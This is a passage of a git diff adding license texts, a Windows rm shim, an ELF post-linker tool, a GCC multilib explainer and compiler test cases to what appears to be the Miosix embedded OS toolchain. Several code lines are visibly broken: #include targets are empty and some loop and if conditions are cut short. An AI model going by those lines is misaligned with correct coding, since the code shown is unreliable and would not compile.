(INCLUDING + NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(36) - Xilinx, Inc. (microblaze-* and powerpc-* targets) + +Copyright (c) 2004, 2009 Xilinx, Inc. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + +1. Redistributions source code must retain the above copyright notice, +this list of conditions and the following disclaimer. + +2. Redistributions in binary form must reproduce the above copyright +notice, this list of conditions and the following disclaimer in the +documentation and/or other materials provided with the distribution. + +3. Neither the name of Xilinx nor the names of its contributors may be +used to endorse or promote products derived from this software without +specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS "AS +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + +(37) Texas Instruments Incorporated (tic6x-* targets) + +Copyright (c) 1996-2010 Texas Instruments Incorporated +http://www.ti.com/ + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions + are met: + + Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + + Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in + the documentation and/or other materials provided with the + distribution. + + Neither the name of Texas Instruments Incorporated nor the names + of its contributors may be used to endorse or promote products + derived from this software without specific prior written + permission. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +(38) National Semiconductor (cr16-* and crx-* targets) + +Copyright (c) 2004 National Semiconductor Corporation + +The authors hereby grant permission to use, copy, modify, distribute, +and license this software and its documentation for any purpose, provided +that existing copyright notices are retained in all copies and that this +notice is included verbatim in any distributions. No written agreement, +license, or royalty fee is required for any of the authorized uses. +Modifications to this software may be copyrighted by their authors +and need not follow the licensing terms described here, provided that +the new terms are clearly indicated on the first page of each file where +they apply. + +(39) - Adapteva, Inc. (epiphany-* targets) + +Copyright (c) 2011, Adapteva, Inc. +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + * Neither the name of Adapteva nor the names of its contributors may be used + to endorse or promote products derived from this software without specific + prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +=== lpc21isp License === + +Copyright: (c) Martin Maurer 2003-2014, All rights reserved +Portions Copyright (c) by Aeolus Development 2004 http://www.aeolusdevelopment.com + +This file is part of lpc21isp. +lpc21isp is free software: you can redistribute it and/or modify +it under the terms of the GNU Lesser General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. +lpc21isp is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Lesser General Public License for more details. +You should have received a copy of the GNU Lesser General Public License +and GNU General Public License along with lpc21isp. +If not, see . + +=== mx-postlinker License === + +Copyright (C) 2012 by Luigi Rucco and Terraneo Federico + +This program is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2 of the License, or +(at your option) any later version. + + This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, see diff --git a/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/rm.c b/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/rm.c new file mode 100644 index 000000000..c130c3637 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/installers/windows/rm.c @@ -0,0 +1,17 @@ +/* + * FIXME: try to crosscompile coreutils for windows, so as to get a real rm.exe + */ + +#include +#include + +int main(int argc, char *argv[]) +{ + int i; + for(i=0;i0 && argv[i][0]!='-') + remove(argv[i]); + } + return 0; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.2/lpc21isp_148_src.zip b/tools/compiler/gcc-9.2.0-mp3.2/lpc21isp_148_src.zip new file mode 100644 index 000000000..ccded9c38 Binary files /dev/null and b/tools/compiler/gcc-9.2.0-mp3.2/lpc21isp_148_src.zip differ diff --git a/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/Makefile b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/Makefile new file mode 100644 index 000000000..8806a6182 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/Makefile @@ -0,0 +1,20 @@ +CXX:= g++ +CXXFLAGS:= -MMD -MP -O2 -c +OBJ:= postlinker.o main.o + +#create program target + +mx-postlinker: $(OBJ) + $(CXX) -o $@${SUFFIX} $(OBJ) + +install: mx-postlinker + cp mx-postlinker${SUFFIX} $(INSTALL_DIR) + +clean: + -rm mx-postlinker${SUFFIX} *.o *.d + +%.o: %.cpp + $(CXX) $(CXXFLAGS) $? -o $@ + +#pull in dependecy info for existing .o files +-include $(OBJ:.o=.d) diff --git a/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/elf_types.h b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/elf_types.h new file mode 100644 index 000000000..8fc3525d6 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/elf_types.h @@ -0,0 +1,208 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include + +namespace miosix { + +// elf-specific types +typedef uint32_t Elf32_Word; +typedef int32_t Elf32_Sword; +typedef uint16_t Elf32_Half; +typedef uint32_t Elf32_Off; +typedef uint32_t Elf32_Addr; + +// Size of e_ident in the elf header +const int EI_NIDENT=16; + +/* + * Elf header + */ +struct Elf32_Ehdr +{ + unsigned char e_ident[EI_NIDENT]; // Ident bytes + Elf32_Half e_type; // File type, any of the ET_* constants + Elf32_Half e_machine; // Target machine + Elf32_Word e_version; // File version + Elf32_Addr e_entry; // Start address + Elf32_Off e_phoff; // Phdr file offset + Elf32_Off e_shoff; // Shdr file offset + Elf32_Word e_flags; // File flags + Elf32_Half e_ehsize; // Sizeof ehdr + Elf32_Half e_phentsize; // Sizeof phdr + Elf32_Half e_phnum; // Number phdrs + Elf32_Half e_shentsize; // Sizeof shdr + Elf32_Half e_shnum; // Number shdrs + Elf32_Half e_shstrndx; // Shdr string index +} __attribute__((packed)); + +// Values for e_type +const Elf32_Half ET_NONE = 0; // Unknown type +const Elf32_Half ET_REL = 1; // Relocatable +const Elf32_Half ET_EXEC = 2; // Executable +const Elf32_Half ET_DYN = 3; // Shared object +const Elf32_Half ET_CORE = 4; // Core file + +// Values for e_version +const Elf32_Word EV_CURRENT = 1; + +// Values for e_machine +const Elf32_Half EM_ARM = 0x28; + +// Values for e_flags +const Elf32_Word EF_ARM_EABIMASK = 0xff000000; +const Elf32_Word EF_ARM_EABI_VER5 = 0x05000000; +const Elf32_Word EF_ARM_VFP_FLOAT = 0x400; +const Elf32_Word EF_ARM_SOFT_FLOAT = 0x200; + +/* + * Elf program header + */ +struct Elf32_Phdr +{ + Elf32_Word p_type; // Program header type, any of the PH_* constants + Elf32_Off p_offset; // Segment start offset in file + Elf32_Addr p_vaddr; // Segment virtual address + Elf32_Addr p_paddr; // Segment physical address + Elf32_Word p_filesz; // Segment size in file + Elf32_Word p_memsz; // Segment size in memory + Elf32_Word p_flags; // Segment flasgs, any of the PF_* constants + Elf32_Word p_align; // Segment alignment requirements +} __attribute__((packed)); + +// Values for p_type +const Elf32_Word PT_NULL = 0; // Unused array entry +const Elf32_Word PT_LOAD = 1; // Loadable segment +const Elf32_Word PT_DYNAMIC = 2; // Segment is the dynamic section +const Elf32_Word PT_INTERP = 3; // Shared library interpreter +const Elf32_Word PT_NOTE = 4; // Auxiliary information + +// Values for p_flags +const Elf32_Word PF_X = 0x1; // Execute +const Elf32_Word PF_W = 0x2; // Write +const Elf32_Word PF_R = 0x4; // Read + +/* + * Entries of the DYNAMIC segment + */ +struct Elf32_Dyn +{ + Elf32_Sword d_tag; // Type of entry + union { + Elf32_Word d_val; // Value of entry, if number + Elf32_Addr d_ptr; // Value of entry, if offset into the file + } d_un; +} __attribute__((packed)); + +// Values for d_tag +const int DT_NULL = 0; +const int DT_NEEDED = 1; +const int DT_PLTRELSZ = 2; +const int DT_PLTGOT = 3; +const int DT_HASH = 4; +const int DT_STRTAB = 5; +const int DT_SYMTAB = 6; +const int DT_RELA = 7; +const int DT_RELASZ = 8; +const int DT_RELAENT = 9; +const int DT_STRSZ = 10; +const int DT_SYMENT = 11; +const int DT_INIT = 12; +const int DT_FINI = 13; +const int DT_SONAME = 14; +const int DT_RPATH = 15; +const int DT_SYMBOLIC = 16; +const int DT_REL = 17; +const int DT_RELSZ = 18; +const int DT_RELENT = 19; +const int DT_PLTREL = 20; +const int DT_DEBUG = 21; +const int DT_TEXTREL = 22; +const int DT_JMPREL = 23; +const int DT_BINDNOW = 24; +const int DT_MX_RAMSIZE = 0x10000000; //Miosix specific, RAM size +const int DT_MX_STACKSIZE = 0x10000001; //Miosix specific, STACK size +const int DT_MX_ABI = 0x736f694d; //Miosix specific, ABI version +const unsigned int DV_MX_ABI_V0 = 0x00007869; //Miosix specific, ABI version 0 +const unsigned int DV_MX_ABI_V1 = 0x01007869; //Miosix specific, ABI version 1 + +/* + * Relocation entries + */ +struct Elf32_Rel +{ + Elf32_Addr r_offset; + Elf32_Word r_info; +} __attribute__((packed)); + +// To extract the two fields of r_info +#define ELF32_R_SYM(i) ((i)>>8) +#define ELF32_R_TYPE(i) ((unsigned char)(i)) + +// Possible values for ELF32_R_TYPE(r_info) +const unsigned char R_ARM_NONE = 0; +const unsigned char R_ARM_ABS32 = 2; +const unsigned char R_ARM_RELATIVE = 23; + +/* + * Elf Section header + */ +struct Elf32_Shdr +{ + Elf32_Word sh_name; + Elf32_Word sh_type; + Elf32_Word sh_flags; + Elf32_Addr sh_addr; + Elf32_Off sh_offset; + Elf32_Word sh_size; + Elf32_Word sh_link; + Elf32_Word sh_info; + Elf32_Word sh_addralign; + Elf32_Word sh_entsize; +}; + +// sh_type +const int SHT_NULL = 0; /* inactive */ +const int SHT_PROGBITS = 1; /* program defined information */ +const int SHT_SYMTAB = 2; /* symbol table section */ +const int SHT_STRTAB = 3; /* string table section */ +const int SHT_RELA = 4; /* relocation section with addends*/ +const int SHT_HASH = 5; /* symbol hash table section */ +const int SHT_DYNAMIC = 6; /* dynamic section */ +const int SHT_NOTE = 7; /* note section */ +const int SHT_NOBITS = 8; /* no space section */ +const int SHT_REL = 9; /* relation section without addends */ +const int SHT_SHLIB = 10; /* reserved - purpose unknown */ +const int SHT_DYNSYM = 11; /* dynamic symbol table section */ +const int SHT_LOPROC = 0x70000000; /* reserved range for processor */ +const int SHT_HIPROC = 0x7fffffff; /* specific section header types */ +const int SHT_LOUSER = 0x80000000; /* reserved range for application */ +const int SHT_HIUSER = 0xffffffff; /* specific indexes */ + +} //namespace miosix diff --git a/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/main.cpp b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/main.cpp new file mode 100644 index 000000000..cbec798f5 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/main.cpp @@ -0,0 +1,52 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include "postlinker.h" + +using namespace std; + +int main(int argc, char *argv[]) +{ + int stackSize=-1; + int ramSize=-1; + string prog; + bool strip=false; + for(int i=1;i" + <<" --stacksize= [--strip-sectheader]"< * + ***************************************************************************/ + +#include "postlinker.h" + +using namespace std; + +PostLinker::PostLinker(string s) +{ + elfFile=s; + ifstream f(s.c_str(),ios::binary); + if(!f.good()) throw runtime_error("File not found"); + f.seekg(0,ios::end); + size=f.tellg(); + newSize=size; + f.seekg(0,ios::beg); + int roundedSize=(size+sizeof(Elf32_Word)-1) & ~(sizeof(Elf32_Word)-1); + elf=new Elf32_Word[roundedSize/sizeof(Elf32_Word)]; + memset(elf,0,roundedSize); + f.read(reinterpret_cast(elf),size); + static const char magic[EI_NIDENT]={0x7f,'E','L','F',1,1,1}; + if(sizee_ident,magic,EI_NIDENT)) + throw runtime_error("Unrecognized format"); +} + +void PostLinker::removeSectionHeaders() +{ + newSize=getElfSection(getElfHeader()->e_shstrndx)->sh_offset; + getElfHeader()->e_shoff=0; + getElfHeader()->e_shnum=0; + getElfHeader()->e_shentsize=0; + getElfHeader()->e_shstrndx=0; +} + +void PostLinker::setMxTags(int stackSize, int ramSize) +{ + if(stackSize & 0x3) + throw runtime_error("stack size not four word aligned"); + if(ramSize & 0x3) + throw runtime_error("ram size not four word aligned"); + if(getSizeOfDataAndBss()+stackSize>ramSize) + throw runtime_error(".data + .bss + stack exceeds ramsize"); + getElfHeader()->e_type=ET_EXEC; //Force ET_EXEC + int ctr=0; + pair dyn=getDynamic(); + for(int i=0;id_tag!=DT_NULL) continue; + switch(ctr) + { + case 0: + dyn.first->d_tag=DT_MX_RAMSIZE; + dyn.first->d_un.d_val=ramSize; + break; + case 1: + dyn.first->d_tag=DT_MX_STACKSIZE; + dyn.first->d_un.d_val=stackSize; + break; + case 2: + dyn.first->d_tag=DT_MX_ABI; + dyn.first->d_un.d_val=DV_MX_ABI_V1; + return; + } + ctr++; + } + throw runtime_error("Not enough null entries"); +} + +void PostLinker::writeFile() +{ + ofstream o(elfFile.c_str(),ios::binary); + o.write(reinterpret_cast(elf),newSize); +} + +pair PostLinker::getDynamic() +{ + for(int i=0;ie_phnum;i++) + { + Elf32_Phdr* phdr=getElfSegment(i); + if(phdr->p_type!=PT_DYNAMIC) continue; + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=phdr->p_offset; + if(offset+phdr->p_memsz>size) + throw std::runtime_error("Dynamic outside file bounds"); + return make_pair(reinterpret_cast(base+offset), + phdr->p_memsz/sizeof(Elf32_Dyn)); + } + throw runtime_error("Dynamic not found"); +} + +int PostLinker::getSizeOfDataAndBss() +{ + for(int i=0;ie_phnum;i++) + { + Elf32_Phdr* phdr=getElfSegment(i); + if(phdr->p_type!=PT_LOAD) continue; + if(!(phdr->p_flags & PF_W) || (phdr->p_flags & PF_X)) continue; + return phdr->p_memsz; + } + throw runtime_error(".data/.bss not found"); +} + +PostLinker::~PostLinker() +{ + delete[] elf; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.h b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.h new file mode 100644 index 000000000..ea6e3f402 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/mx-postlinker/postlinker.h @@ -0,0 +1,129 @@ +/*************************************************************************** + * Copyright (C) 2012 by Luigi Rucco and Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#ifndef POSTLINKER_H +#define POSTLINKER_H + +#include "elf_types.h" +#include +#include +#include +#include +#include +#include +#include + +using namespace miosix; + +/** + * This class performs transformations on an elf file, + * including stripping the section header and associated + * string table, and setting some Miosix specific options + * in the dynamic segment + */ +class PostLinker +{ +public: + /** + * Constructor + * \param s elf file name + */ + PostLinker(std::string s); + + /** + * Remove the section header and string table from the elf file + */ + void removeSectionHeaders(); + + /** + * Set the Miosix specific options in the dynamic segment + * \param stackSize size that the runtime linker-loader will reserve for + * the stack of the process + * \param ramSize size of the process RAM image that the runtime + * linker-loader will allocate for the process + */ + void setMxTags(int stackSize, int ramSize); + + /** + * Write changes to disk + */ + void writeFile(); + + /** + * Destructor + */ + ~PostLinker(); + +private: + PostLinker(const PostLinker&); + PostLinker& operator= (const PostLinker&); + + /** + * \return the elf header + */ + Elf32_Ehdr* getElfHeader() + { + return reinterpret_cast(elf); + } + + /** + * Allows to retrieve a section header given its index + * \param index a index from 0 to getElfHeader()->e_shnum + * \return the corresponding section header + */ + Elf32_Shdr* getElfSection(int index) + { + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=getElfHeader()->e_shoff+index*sizeof(Elf32_Shdr); + if(offset+sizeof(Elf32_Shdr)>size) + throw std::runtime_error("Elf section outside file bounds"); + return reinterpret_cast(base+offset); + } + + /** + * Allows to retrieve a segment header given its index + * \param index a index from 0 to getElfHeader()->e_phnum + * \return the corresponding secgment header + */ + Elf32_Phdr *getElfSegment(int index) + { + unsigned char *base=reinterpret_cast(elf); + unsigned int offset=getElfHeader()->e_phoff+index*sizeof(Elf32_Phdr); + if(offset+sizeof(Elf32_Phdr)>size) + throw std::runtime_error("Elf segment outside file bounds"); + return reinterpret_cast(base+offset); + } + + /** + * \return the size of the segment that is loaded in RAM, with + * .data and .bss + */ + int getSizeOfDataAndBss(); + + /** + * \return a pair with a pointer to the first element in the dynamic + * segment and the number of entries in the dynamic segment + */ + std::pair getDynamic(); + + Elf32_Word* elf; + int size; + int newSize; + std::string elfFile; +}; + +#endif //POSTLINKER_H diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/binutils.patch b/tools/compiler/gcc-9.2.0-mp3.2/patches/binutils.patch similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/binutils.patch rename to tools/compiler/gcc-9.2.0-mp3.2/patches/binutils.patch diff --git a/miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc.txt b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc.txt similarity index 100% rename from miosix/_tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc.txt rename to tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc.txt diff --git a/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc_multilib.md b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc_multilib.md new file mode 100644 index 000000000..e8d36b97f --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/gcc_multilib.md @@ -0,0 +1,174 @@ +# Multilib configuration with config file fragments in GCC + +Even though the documentation in https://gcc.gnu.org/onlinedocs/gccint/Target-Fragment.html +is fairly comprehensive about how config file fragments work, it is missing +a high-level overview of what is happening and leaves out important details, +which might make the process of updating these files a bit baffling. + +The config file fragments to run are selected by the config.gcc shell script, +depending on the specified target triple, matched via shell script globs. +The list of fragments is stored in the tmake_file environment variable, which +through the magic of autoconf/automake gets copied in the materialized +Makefile, where they are included just before the declaration of the recipes +related to target-dependent files. Therefore, these "config" file fragments are +actually Makefile includes, and do not actually run at config time. Whatever. + +The config fragments set the following variables related to multilib: + + - `MULTILIB_OPTIONS`, `MULTILIB_DIRNAMES`: base set of multilibs + - `MULTILIB_EXCEPTIONS`: blacklist to be applied to the base set + - `MULTILIB_REQUIRED`: whitelist to be applied to the base set after the blacklist + - `MULTILIB_MATCHES`: specifies aliases for single options + - `MULTILIB_REUSE`: specifies aliases for single option combinations + +These variables are processed by a Python script called `genmultilib`, which +in turn produces a header file called `multilib.h` which is then included +by the code of GCC. This mechanism effectively "bakes" the multilib directory +structure in the GCC executable. + +## Multilib option expansion + +The `MULTILIB_OPTIONS` variable is basically interpreted as a list of +sets, where the number of sets is defined by the number of options separated by +spaces, and slashes (/) separe each item in the set. Each set also implicitly +includes the empty string (for the case in which the option is not specified). + +Therefore if + +``` +MULTILIB_OPTIONS=mthumb march=armv6s-m/march=armv7-m/march=armv7e-m mfloat-abi=hard/mfloat-abi=softfp +``` + +then there are 3 sets with size 2, 4, 3 respectively: + +``` +"" "" "" +"mthumb" "march=armv6s-m" "mfloat-abi=hard" + "march=armv7-m" "mfloat-abi=softfp" + "march=armv7e-m" +``` + +The multilib list is generated by cartesian product of the sets, resulting in: + +``` +"","","" +"","","mfloat-abi=hard" +"","","mfloat-abi=softfp" +"","march=armv6s-m","" +"","march=armv6s-m","mfloat-abi=hard" +"","march=armv6s-m","mfloat-abi=softfp" +"","march=armv7-m","" +"","march=armv7-m","mfloat-abi=hard" +"","march=armv7-m","mfloat-abi=softfp" +"","march=armv7e-m","" +"","march=armv7e-m","mfloat-abi=hard" +"","march=armv7e-m","mfloat-abi=softfp" +"mthumb","","" +"mthumb","","mfloat-abi=hard" +"mthumb","","mfloat-abi=softfp" +"mthumb","march=armv6s-m","" +"mthumb","march=armv6s-m","mfloat-abi=hard" +"mthumb","march=armv6s-m","mfloat-abi=softfp" +"mthumb","march=armv7-m","" +"mthumb","march=armv7-m","mfloat-abi=hard" +"mthumb","march=armv7-m","mfloat-abi=softfp" +"mthumb","march=armv7e-m","" +"mthumb","march=armv7e-m","mfloat-abi=hard" +"mthumb","march=armv7e-m","mfloat-abi=softfp" +``` + +And now you know why this way of deciding which multilibs to build wasn't +exactly the best one... and they introduced `MULTILIB_EXCEPTIONS`, +`MULTILIB_REQUIRED`, `MULTILIB_MATCHES` and `MULTILIB_REUSE` to patch it up. +All these variables take the list above and modify it. `MULTILIB_REQUIRED` +modifies the combinations GCC build time, while the others are implemented +at GCC runtime. + +The `genmultilib` script flattens the sets even more, by repeating all options +that were *not* chosen, prefixed by a "!", producing basically an (inefficient) +one-hot encoding of the above. Therefore the list above becomes: + +``` +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb !march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m mfloat-abi=hard !mfloat-abi=softfp" +"!mthumb march=armv6s-m !march=armv7-m !march=armv7e-m !mfloat-abi=hard mfloat-abi=softfp" +... +``` + +You get the idea... + +## Multilib selection process + +When choosing a multilib, GCC first normalizes (in a target-dependent way) +the command line options related to the architecture to a certain degree +(mainly adds -march=... if it has been implied by a more complex sequence of +options, and also adds any default option if it has not been specifically +overridden) and then picks the multilib directory via the `set_multilib_dir()` +function (in gcc/gcc.c). + +This function first check if there is an exclusion (`MULTILIB_EXCEPTIONS`) +that matches all the specified arguments. In that case it quits immediately, +which results in not choosing any multilib. +Otherwise, it checks every available multilib and alias (`MULTILIB_REUSE`) +for a match with the given options. Options in the multilib specification and +the command line are compared via plain old string comparison (!). +The algorithm looks like this, in pseudocode (assuming I didn't read it wrong, +the original implementation of the logic is unnecessarily convoluted): + +``` +for combination in multilibs: + ok = true + for option in combination: + # gcc/gcc.c:8944 (gcc 9.2.0) + if option was specified because it's a default: + continue + # gcc/gcc.c:8930 (gcc 9.2.0) + in_cmd_line = option was specified in the command line + should_be_in_cmd_line = option is specified for this multilib (not prefixed with !) + if in_cmd_line != should_be_in_cmd_line: + ok = false + break + # gcc/gcc.c:8951 (gcc 9.2.0) + if ok: + return directory of this combination +# no multilib found +return root lib directory +``` + +In other words, options that are not contemplated by the multilib configuration +are ignored. Amongst the options contemplated, a multilib matches if all +non-default options given to gcc (after normalization) match exactly with the +ones that were enabled for that multilib. + +Note that options set as default via defines (for example `TARGET_DEFAULT_FLOAT_ABI`) +do NOT count as a default option for the logic above, as these defaults never +appear as argument strings in a gcc internal command line. I leave any comment +to the reader. + +## Can I have two options that always appear together be associated with one directory level instead of two? + +Example: `-fpie -msingle-pic-base` are either both enabled or both disabled for +Miosix multilibs. We want to use a single directory level `processes` for that +pair of options instead of two levels. + +Putting the two options in quotes will never work because the quotes will +be inconsistently expanded by the various scripts. I didn't even try this +approach because it sounds so hopeless. (if you have one day to waste you can +try it out!) + +What I tried is using "." for one of the directories like this: + +``` +MULTILIB_OPTIONS += fpie msingle-pic-base +MULTILIB_DIRNAMES += processes . +``` + +which incredibly is fine for GCC... but not for newlib because for some +(probably Makefile-related) reason at one point it counts the number of +path components and replaces them with ".." to get to the root and... well yeah, +you can guess what happens :( + +So the answer is no, you can't do this. That's sad. diff --git a/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases-cpp.cpp b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases-cpp.cpp new file mode 100644 index 000000000..9acd04bf6 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases-cpp.cpp @@ -0,0 +1,11 @@ + +class Base +{ +public: + virtual ~Base() {} +}; + +Base *mkbase() +{ + return new Base; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases.c b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases.c new file mode 100644 index 000000000..5e6f55eb4 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.2/patches/doc/processes-patch-testcases.c @@ -0,0 +1,48 @@ + +extern const int aRodata; +const int aRodata2=42; +extern int aData; +int aData=0; +const char str[]="Hello world\n"; +//extern const char *str; + +int get1() { return aRodata; } +int get2() { return aData; } +const char *get3() { return str; } +int get4() { return aRodata2; } +const int *get5() { return &aRodata2; } + +// If this produces a GOTOFF relocation, it's broken +int *ptr = { 0 }; +int *get6() +{ + return 